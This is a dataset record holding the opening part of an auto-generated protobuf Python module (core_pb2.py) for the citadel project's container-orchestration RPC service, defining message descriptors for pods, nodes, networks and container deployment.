hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3bb5ac2ec9aa3dba4e813536a85ad32995311a8e
| 131,642
|
py
|
Python
|
citadel/rpc/core_pb2.py
|
CMGS/citadel
|
8363a598ed4422d6671f06bad7def3ebb848f441
|
[
"MIT"
] | null | null | null |
citadel/rpc/core_pb2.py
|
CMGS/citadel
|
8363a598ed4422d6671f06bad7def3ebb848f441
|
[
"MIT"
] | null | null | null |
citadel/rpc/core_pb2.py
|
CMGS/citadel
|
8363a598ed4422d6671f06bad7def3ebb848f441
|
[
"MIT"
] | null | null | null |
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: core.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='core.proto',
package='pb',
syntax='proto3',
serialized_pb=_b('\n\ncore.proto\x12\x02pb\"\x07\n\x05\x45mpty\"L\n\x13\x44\x65ployStatusOptions\x12\x0f\n\x07\x61ppname\x18\x01 \x01(\t\x12\x12\n\nentrypoint\x18\x02 \x01(\t\x12\x10\n\x08nodename\x18\x03 \x01(\t\"v\n\x13\x44\x65ployStatusMessage\x12\x0e\n\x06\x61\x63tion\x18\x01 \x01(\t\x12\x0f\n\x07\x61ppname\x18\x02 \x01(\t\x12\x12\n\nentrypoint\x18\x03 \x01(\t\x12\x10\n\x08nodename\x18\x04 \x01(\t\x12\n\n\x02id\x18\x05 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x06 \x01(\x0c\"!\n\x03Pod\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x0c\n\x04\x64\x65sc\x18\x02 \x01(\t\"\x1d\n\x04Pods\x12\x15\n\x04pods\x18\x01 \x03(\x0b\x32\x07.pb.Pod\"5\n\x12ListNetworkOptions\x12\x0f\n\x07podname\x18\x01 \x01(\t\x12\x0e\n\x06\x64river\x18\x02 \x01(\t\"(\n\x07Network\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x0f\n\x07subnets\x18\x02 \x03(\t\")\n\x08Networks\x12\x1d\n\x08networks\x18\x01 \x03(\x0b\x32\x0b.pb.Network\"\x89\x02\n\x04Node\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x10\n\x08\x65ndpoint\x18\x02 \x01(\t\x12\x0f\n\x07podname\x18\x03 \x01(\t\x12\x1e\n\x03\x63pu\x18\x04 \x03(\x0b\x32\x11.pb.Node.CpuEntry\x12\x0e\n\x06memory\x18\x05 \x01(\x03\x12\x0c\n\x04info\x18\x06 \x01(\t\x12\x11\n\tavailable\x18\x07 \x01(\x08\x12$\n\x06labels\x18\x08 \x03(\x0b\x32\x14.pb.Node.LabelsEntry\x1a*\n\x08\x43puEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\x03:\x02\x38\x01\x1a-\n\x0bLabelsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\" \n\x05Nodes\x12\x17\n\x05nodes\x18\x01 \x03(\x0b\x32\x08.pb.Node\"E\n\rNodeAvailable\x12\x10\n\x08nodename\x18\x01 \x01(\t\x12\x0f\n\x07podname\x18\x02 \x01(\t\x12\x11\n\tavailable\x18\x03 \x01(\x08\"V\n\tContainer\x12\n\n\x02id\x18\x01 \x01(\t\x12\x0f\n\x07podname\x18\x02 \x01(\t\x12\x10\n\x08nodename\x18\x03 \x01(\t\x12\x0c\n\x04name\x18\x04 \x01(\t\x12\x0c\n\x04info\x18\x05 \x01(\t\"k\n\x18\x43ontainerDeployedOptions\x12\n\n\x02id\x18\x01 \x01(\t\x12\x0f\n\x07\x61ppname\x18\x02 \x01(\t\x12\x12\n\nentrypoint\x18\x03 \x01(\t\x12\x10\n\x08nodename\x18\x04 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x05 \x01(\x0c\"/\n\nContainers\x12!\n\ncontainers\x18\x01 \x03(\x0b\x32\r.pb.Container\"\x19\n\x0b\x43ontainerID\x12\n\n\x02id\x18\x01 \x01(\t\"\x1b\n\x0c\x43ontainerIDs\x12\x0b\n\x03ids\x18\x01 \x03(\t\"4\n\x16RemoveContainerOptions\x12\x0b\n\x03ids\x18\x01 \x03(\t\x12\r\n\x05\x66orce\x18\x02 \x01(\x08\"7\n\x0eReallocOptions\x12\x0b\n\x03ids\x18\x01 \x03(\t\x12\x0b\n\x03\x63pu\x18\x02 \x01(\x01\x12\x0b\n\x03mem\x18\x03 \x01(\x03\":\n\rAddPodOptions\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\r\n\x05\x66\x61vor\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x65sc\x18\x03 \x01(\t\" \n\x10RemovePodOptions\x12\x0c\n\x04name\x18\x01 \x01(\t\"\x1d\n\rGetPodOptions\x12\x0c\n\x04name\x18\x01 \x01(\t\"\xf7\x01\n\x0e\x41\x64\x64NodeOptions\x12\x10\n\x08nodename\x18\x01 \x01(\t\x12\x10\n\x08\x65ndpoint\x18\x02 \x01(\t\x12\x0f\n\x07podname\x18\x03 \x01(\t\x12\n\n\x02\x63\x61\x18\x04 \x01(\t\x12\x0c\n\x04\x63\x65rt\x18\x05 \x01(\t\x12\x0b\n\x03key\x18\x06 \x01(\t\x12\x0b\n\x03\x63pu\x18\x07 \x01(\x05\x12\r\n\x05share\x18\x08 \x01(\x03\x12\x0e\n\x06memory\x18\t \x01(\x03\x12.\n\x06labels\x18\n \x03(\x0b\x32\x1e.pb.AddNodeOptions.LabelsEntry\x1a-\n\x0bLabelsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"6\n\x11RemoveNodeOptions\x12\x10\n\x08nodename\x18\x01 \x01(\t\x12\x0f\n\x07podname\x18\x02 \x01(\t\"3\n\x0eGetNodeOptions\x12\x0f\n\x07podname\x18\x01 \x01(\t\x12\x10\n\x08nodename\x18\x02 \x01(\t\"0\n\x10ListNodesOptions\x12\x0f\n\x07podname\x18\x01 \x01(\t\x12\x0b\n\x03\x61ll\x18\x02 \x01(\x08\"\xfb\x03\n\x05\x42uild\x12\x0c\n\x04\x62\x61se\x18\x01 \x01(\t\x12\x0c\n\x04repo\x18\x02 \x01(\t\x12\x0f\n\x07version\x18\x03 \x01(\t\x12\x0b\n\x03\x64ir\x18\x04 \x01(\t\x12\x10\n\x08\x63ommands\x18\x05 \x03(\t\x12!\n\x04\x65nvs\x18\x06 \x03(\x0b\x32\x13.pb.Build.EnvsEntry\x12!\n\x04\x61rgs\x18\x07 \x03(\x0b\x32\x13.pb.Build.ArgsEntry\x12%\n\x06labels\x18\x08 \x03(\x0b\x32\x15.pb.Build.LabelsEntry\x12+\n\tartifacts\x18\t \x03(\x0b\x32\x18.pb.Build.ArtifactsEntry\x12#\n\x05\x63\x61\x63he\x18\n \x03(\x0b\x32\x14.pb.Build.CacheEntry\x1a+\n\tEnvsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x1a+\n\tArgsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x1a-\n\x0bLabelsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x1a\x30\n\x0e\x41rtifactsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x1a,\n\nCacheEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"z\n\x06\x42uilds\x12\x0e\n\x06stages\x18\x01 \x03(\t\x12&\n\x06\x62uilds\x18\x02 \x03(\x0b\x32\x16.pb.Builds.BuildsEntry\x1a\x38\n\x0b\x42uildsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x18\n\x05value\x18\x02 \x01(\x0b\x32\t.pb.Build:\x02\x38\x01\"e\n\x11\x42uildImageOptions\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x0c\n\x04user\x18\x02 \x01(\t\x12\x0b\n\x03uid\x18\x03 \x01(\x05\x12\x0b\n\x03tag\x18\x04 \x01(\t\x12\x1a\n\x06\x62uilds\x18\x05 \x01(\x0b\x32\n.pb.Builds\"F\n\x0bHookOptions\x12\x13\n\x0b\x61\x66ter_start\x18\x01 \x03(\t\x12\x13\n\x0b\x62\x65\x66ore_stop\x18\x02 \x03(\t\x12\r\n\x05\x66orce\x18\x03 \x01(\x08\"U\n\x12HealthCheckOptions\x12\x11\n\ttcp_ports\x18\x01 \x03(\t\x12\x11\n\thttp_port\x18\x02 \x01(\t\x12\x0b\n\x03url\x18\x03 \x01(\t\x12\x0c\n\x04\x63ode\x18\x04 \x01(\x05\"\xdc\x01\n\x11\x45ntrypointOptions\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x0f\n\x07\x63ommand\x18\x02 \x01(\t\x12\x12\n\nprivileged\x18\x03 \x01(\x08\x12\x0b\n\x03\x64ir\x18\x04 \x01(\t\x12\x12\n\nlog_config\x18\x05 \x01(\t\x12\x0f\n\x07publish\x18\x06 \x03(\t\x12+\n\x0bhealthcheck\x18\x07 \x01(\x0b\x32\x16.pb.HealthCheckOptions\x12\x1d\n\x04hook\x18\x08 \x01(\x0b\x32\x0f.pb.HookOptions\x12\x16\n\x0erestart_policy\x18\t \x01(\t\"\x81\x05\n\rDeployOptions\x12\x0c\n\x04name\x18\x01 \x01(\t\x12)\n\nentrypoint\x18\x02 \x01(\x0b\x32\x15.pb.EntrypointOptions\x12\x0f\n\x07podname\x18\x03 \x01(\t\x12\x10\n\x08nodename\x18\x04 \x01(\t\x12\r\n\x05image\x18\x05 \x01(\t\x12\x12\n\nextra_args\x18\x06 \x01(\t\x12\x11\n\tcpu_quota\x18\x07 \x01(\x01\x12\x0e\n\x06memory\x18\x08 \x01(\x03\x12\r\n\x05\x63ount\x18\t \x01(\x05\x12\x0b\n\x03\x65nv\x18\n \x03(\t\x12\x0b\n\x03\x64ns\x18\x0b \x03(\t\x12\x13\n\x0b\x65xtra_hosts\x18\x0c \x03(\t\x12\x0f\n\x07volumes\x18\r \x03(\t\x12\x31\n\x08networks\x18\x0e \x03(\x0b\x32\x1f.pb.DeployOptions.NetworksEntry\x12\x13\n\x0bnetworkmode\x18\x0f \x01(\t\x12\x0c\n\x04user\x18\x10 \x01(\t\x12\r\n\x05\x64\x65\x62ug\x18\x11 \x01(\x08\x12\x11\n\topenStdin\x18\x12 \x01(\x08\x12)\n\x04meta\x18\x13 \x03(\x0b\x32\x1b.pb.DeployOptions.MetaEntry\x12\x35\n\nnodelabels\x18\x14 \x03(\x0b\x32!.pb.DeployOptions.NodelabelsEntry\x12\x14\n\x0craw_resource\x18\x15 \x01(\x08\x1a/\n\rNetworksEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x1a+\n\tMetaEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x1a\x31\n\x0fNodelabelsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"G\n\x12RemoveImageOptions\x12\x0f\n\x07podname\x18\x01 \x01(\t\x12\x10\n\x08nodename\x18\x02 \x01(\t\x12\x0e\n\x06images\x18\x03 \x03(\t\"-\n\rBackupOptions\x12\n\n\x02id\x18\x01 \x01(\t\x12\x10\n\x08src_path\x18\x02 \x01(\t\",\n\x0b\x45rrorDetail\x12\x0c\n\x04\x63ode\x18\x01 \x01(\x03\x12\x0f\n\x07message\x18\x02 \x01(\t\"\x87\x01\n\x11\x42uildImageMessage\x12\n\n\x02id\x18\x01 \x01(\t\x12\x0e\n\x06status\x18\x02 \x01(\t\x12\x10\n\x08progress\x18\x03 \x01(\t\x12\r\n\x05\x65rror\x18\x04 \x01(\t\x12\x0e\n\x06stream\x18\x05 \x01(\t\x12%\n\x0c\x65rror_detail\x18\x06 \x01(\x0b\x32\x0f.pb.ErrorDetail\"\xea\x02\n\x16\x43reateContainerMessage\x12\x0f\n\x07podname\x18\x01 \x01(\t\x12\x10\n\x08nodename\x18\x02 \x01(\t\x12\n\n\x02id\x18\x03 \x01(\t\x12\x0c\n\x04name\x18\x04 \x01(\t\x12\r\n\x05\x65rror\x18\x05 \x01(\t\x12\x0f\n\x07success\x18\x06 \x01(\x08\x12\x30\n\x03\x63pu\x18\x07 \x03(\x0b\x32#.pb.CreateContainerMessage.CpuEntry\x12\r\n\x05quota\x18\x08 \x01(\x01\x12\x0e\n\x06memory\x18\t \x01(\x03\x12\x38\n\x07publish\x18\n \x03(\x0b\x32\'.pb.CreateContainerMessage.PublishEntry\x12\x0c\n\x04hook\x18\x0b \x01(\x0c\x1a*\n\x08\x43puEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\x03:\x02\x38\x01\x1a.\n\x0cPublishEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"7\n\x11RunAndWaitMessage\x12\x14\n\x0c\x63ontainer_id\x18\x01 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x02 \x01(\x0c\"F\n\x12RemoveImageMessage\x12\r\n\x05image\x18\x01 \x01(\t\x12\x0f\n\x07success\x18\x02 \x01(\x08\x12\x10\n\x08messages\x18\x03 \x03(\t\"F\n\x16RemoveContainerMessage\x12\n\n\x02id\x18\x01 \x01(\t\x12\x0f\n\x07success\x18\x02 \x01(\x08\x12\x0f\n\x07message\x18\x03 \x01(\t\"5\n\x16ReallocResourceMessage\x12\n\n\x02id\x18\x01 \x01(\t\x12\x0f\n\x07success\x18\x02 \x01(\x08\"J\n\rBackupMessage\x12\x0e\n\x06status\x18\x01 \x01(\t\x12\x0c\n\x04size\x18\x02 \x01(\x03\x12\r\n\x05\x65rror\x18\x03 \x01(\t\x12\x0c\n\x04path\x18\x04 \x01(\t\"J\n\x11RunAndWaitOptions\x12(\n\rDeployOptions\x18\x01 \x01(\x0b\x32\x11.pb.DeployOptions\x12\x0b\n\x03\x43md\x18\x02 \x01(\x0c\x32\xfe\t\n\x07\x43oreRPC\x12!\n\x08ListPods\x12\t.pb.Empty\x1a\x08.pb.Pods\"\x00\x12&\n\x06\x41\x64\x64Pod\x12\x11.pb.AddPodOptions\x1a\x07.pb.Pod\"\x00\x12.\n\tRemovePod\x12\x14.pb.RemovePodOptions\x1a\t.pb.Empty\"\x00\x12&\n\x06GetPod\x12\x11.pb.GetPodOptions\x1a\x07.pb.Pod\"\x00\x12)\n\x07\x41\x64\x64Node\x12\x12.pb.AddNodeOptions\x1a\x08.pb.Node\"\x00\x12.\n\nRemoveNode\x12\x15.pb.RemoveNodeOptions\x1a\x07.pb.Pod\"\x00\x12)\n\x07GetNode\x12\x12.pb.GetNodeOptions\x1a\x08.pb.Node\"\x00\x12\x31\n\x0cListPodNodes\x12\x14.pb.ListNodesOptions\x1a\t.pb.Nodes\"\x00\x12\x30\n\x0cGetContainer\x12\x0f.pb.ContainerID\x1a\r.pb.Container\"\x00\x12\x33\n\rGetContainers\x12\x10.pb.ContainerIDs\x1a\x0e.pb.Containers\"\x00\x12\x36\n\x0cListNetworks\x12\x16.pb.ListNetworkOptions\x1a\x0c.pb.Networks\"\x00\x12\x31\n\x10SetNodeAvailable\x12\x11.pb.NodeAvailable\x1a\x08.pb.Node\"\x00\x12\x30\n\x06\x42\x61\x63kup\x12\x11.pb.BackupOptions\x1a\x11.pb.BackupMessage\"\x00\x12/\n\rGetNodeByName\x12\x12.pb.GetNodeOptions\x1a\x08.pb.Node\"\x00\x12>\n\x11\x43ontainerDeployed\x12\x1c.pb.ContainerDeployedOptions\x1a\t.pb.Empty\"\x00\x12;\n\x0eListContainers\x12\x17.pb.DeployStatusOptions\x1a\x0e.pb.Containers\"\x00\x12>\n\nBuildImage\x12\x15.pb.BuildImageOptions\x1a\x15.pb.BuildImageMessage\"\x00\x30\x01\x12\x41\n\x0bRemoveImage\x12\x16.pb.RemoveImageOptions\x1a\x16.pb.RemoveImageMessage\"\x00\x30\x01\x12\x44\n\x0c\x44\x65ployStatus\x12\x17.pb.DeployStatusOptions\x1a\x17.pb.DeployStatusMessage\"\x00\x30\x01\x12@\n\nRunAndWait\x12\x15.pb.RunAndWaitOptions\x1a\x15.pb.RunAndWaitMessage\"\x00(\x01\x30\x01\x12\x44\n\x0f\x43reateContainer\x12\x11.pb.DeployOptions\x1a\x1a.pb.CreateContainerMessage\"\x00\x30\x01\x12M\n\x0fRemoveContainer\x12\x1a.pb.RemoveContainerOptions\x1a\x1a.pb.RemoveContainerMessage\"\x00\x30\x01\x12\x45\n\x0fReallocResource\x12\x12.pb.ReallocOptions\x1a\x1a.pb.ReallocResourceMessage\"\x00\x30\x01\x62\x06proto3')
)
_EMPTY = _descriptor.Descriptor(
name='Empty',
full_name='pb.Empty',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=18,
serialized_end=25,
)
_DEPLOYSTATUSOPTIONS = _descriptor.Descriptor(
name='DeployStatusOptions',
full_name='pb.DeployStatusOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='appname', full_name='pb.DeployStatusOptions.appname', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='entrypoint', full_name='pb.DeployStatusOptions.entrypoint', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='nodename', full_name='pb.DeployStatusOptions.nodename', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=27,
serialized_end=103,
)
_DEPLOYSTATUSMESSAGE = _descriptor.Descriptor(
name='DeployStatusMessage',
full_name='pb.DeployStatusMessage',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='action', full_name='pb.DeployStatusMessage.action', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='appname', full_name='pb.DeployStatusMessage.appname', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='entrypoint', full_name='pb.DeployStatusMessage.entrypoint', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='nodename', full_name='pb.DeployStatusMessage.nodename', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='id', full_name='pb.DeployStatusMessage.id', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='data', full_name='pb.DeployStatusMessage.data', index=5,
number=6, type=12, cpp_type=9, label=1,
has_default_value=False, default_value=_b(""),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=105,
serialized_end=223,
)
_POD = _descriptor.Descriptor(
name='Pod',
full_name='pb.Pod',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='pb.Pod.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='desc', full_name='pb.Pod.desc', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=225,
serialized_end=258,
)
_PODS = _descriptor.Descriptor(
name='Pods',
full_name='pb.Pods',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='pods', full_name='pb.Pods.pods', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=260,
serialized_end=289,
)
_LISTNETWORKOPTIONS = _descriptor.Descriptor(
name='ListNetworkOptions',
full_name='pb.ListNetworkOptions',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='podname', full_name='pb.ListNetworkOptions.podname', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='driver', full_name='pb.ListNetworkOptions.driver', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=291,
serialized_end=344,
)
_NETWORK = _descriptor.Descriptor(
name='Network',
full_name='pb.Network',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='pb.Network.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='subnets', full_name='pb.Network.subnets', index=1,
number=2, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=346,
serialized_end=386,
)
_NETWORKS = _descriptor.Descriptor(
name='Networks',
full_name='pb.Networks',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='networks', full_name='pb.Networks.networks', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
